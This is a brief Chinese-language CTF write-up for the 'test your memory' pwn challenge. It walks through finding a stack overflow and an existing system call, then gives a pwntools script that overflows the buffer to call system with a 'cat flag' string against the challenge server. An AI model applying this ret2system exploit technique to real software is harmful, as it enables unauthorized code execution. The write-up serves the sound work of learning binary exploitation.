pwn test your memory
- 运行一下
- 检查保护机制
只开启堆栈不可执行保护。 - 观察反汇编代码,main函数里随机产生一串字符串,然后调用mem_test进行检测。
- mem_test函数,先打印一个地址(hint),再输入s,这里存在栈溢出漏洞,然后输入的s与随机产生的字符串比较。
- 点进hint,提示是cat flag命令,可以获得flag
- 程序中已有system函数。
- 利用栈溢出,有system函数和cat flag地址,调用system函数,令其参数为cat flag地址,构造利用脚本如下:
from pwn import *
r = remote("pwn2.jarvisoj.com",9876)
sys_addr = 0x8048440
cat_flag = 0x80487e0
payload = 'a'*0x13+'bbbb'+p32(sys_addr)+p32(0x08048677)+p32(cat_flag)
r.sendline(payload)
r.interactive()
hanqdi_
发布了29 篇原创文章 · 获赞 10 · 访问量 4306
私信
关注